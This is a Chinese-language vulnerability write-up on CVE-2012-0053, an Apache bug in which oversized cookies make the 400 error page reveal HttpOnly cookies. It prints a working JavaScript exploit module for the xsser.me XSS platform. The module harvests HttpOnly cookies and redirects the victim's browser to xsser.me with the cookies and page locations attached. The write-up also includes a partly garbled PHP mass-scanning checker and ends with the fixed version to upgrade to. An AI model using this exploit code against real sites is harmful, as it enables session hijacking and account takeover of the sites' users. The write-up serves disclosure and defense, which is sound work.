# CVE-2012-0053详解
0x00 背景
——-
* * *
Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。
0x01 详情
——-
* * *
老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。
[http://www.exploit-db.com/exploits/18442/](http://www.exploit-db.com/exploits/18442/)
代码稍微改一下就可以是一个收取cookie的exp了,看一下xsser.me的模块:
“`
function setCookies() {
/*apache server limit 8192*/
var str = “”;
for (var i = 0; i < 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
var cookie = "ray" + i + "=" + str + ";path=/";
document.cookie = cookie;
}
}
function parseCookies() {
if (xhr.readyState === 4 && xhr.status === 400) {
var content = xhr.responseText.replace(/\r|\n/g, '').match(/
(.+)<\/pre>/);
content = content[1].replace(“Cookie: “, “”);
cookies = content.replace(/ray\d=x+;?/g, ”) try {
var myopener = ”;
myopener = window.parent.openner.location;
var myparent = ”;
myparent = window.parent.location;
} catch(err) {
myopener = ‘0’;
myparent = ‘0’;
}
window.location = ‘http://xsser.me/index.php?do=api&id={projectId}&location=’ + escape(document.location) + ‘&toplocation=’ + escape(myparent) + ‘&cookie=’ + escape(cookies) + ‘&opener=’ + escape(myopener);
}
}
setCookies();
var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject(“Microsoft.XMLHTTP”) : new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open(“POST”, “/?” + Math.random(), true);
xhr.send(null);“`
在执行这段代码后,会种下10个819字节长的cookie,使得请求头超过最大请求长度,然后发起一次POST请求,待服务器返回400错误后从状态页中正则提取出经http-only保护的cookies。
![2013081413015999698.png](http://drops.javaweb.org/uploads/images/ad1a7e8fafe582d10864d9520cf0844830e33faf.jpg)
0x02 危害
——-* * *
关于此漏洞的利用,乌云上也有相关案例,如:
[WooYun: 腾讯分站 Apache 漏洞](http://www.wooyun.org/bugs/wooyun-2012-06947)
其实最经典的案例要数这个了:
[WooYun: XSS漏洞渗透新浪微博《头条新闻》账号](http://www.wooyun.org/bugs/wooyun-2012-09777)
微博本身重要的cookie都设置了httponly,但是有一个域名下有这个apache漏洞。
刚好也有一个flash的xss,导致了此事件的发生。
0x03 后续
——-* * *
这个漏洞再次证明了:
本来是一个正常的功能,可因为设计不当成了XSS的帮凶。
下面的代码是之前的简单的写了一个验证是否存在这个漏洞的php脚本。
各位有需要的可以拿去使用下,现在估计存在这个问题的不多了,去年刚出来的时候可是大片存在。
“`
“;
else{
echo $url.’:failed!’.”
“;
}
}//获取需检测ip,也可将ip放在同目录下的ip.txt中,一行一个ip
$url=(@$_GET[‘url’])?$_GET[‘url’]:@$argv[1];
if(!$url){
$fp=fopen(‘ip.txt’,’r+’);
while($ipstr=fgets($fp)){
if(preg_match(‘#[\w\.]+#’,$ipstr,$match)){
check($match[0]);
}
}
}else{
check($url);
}?>
“`
0x04修复方式
——–Apache2.2.22及以上版本已经修复此问题,升级即可解决。
请登录后查看评论内容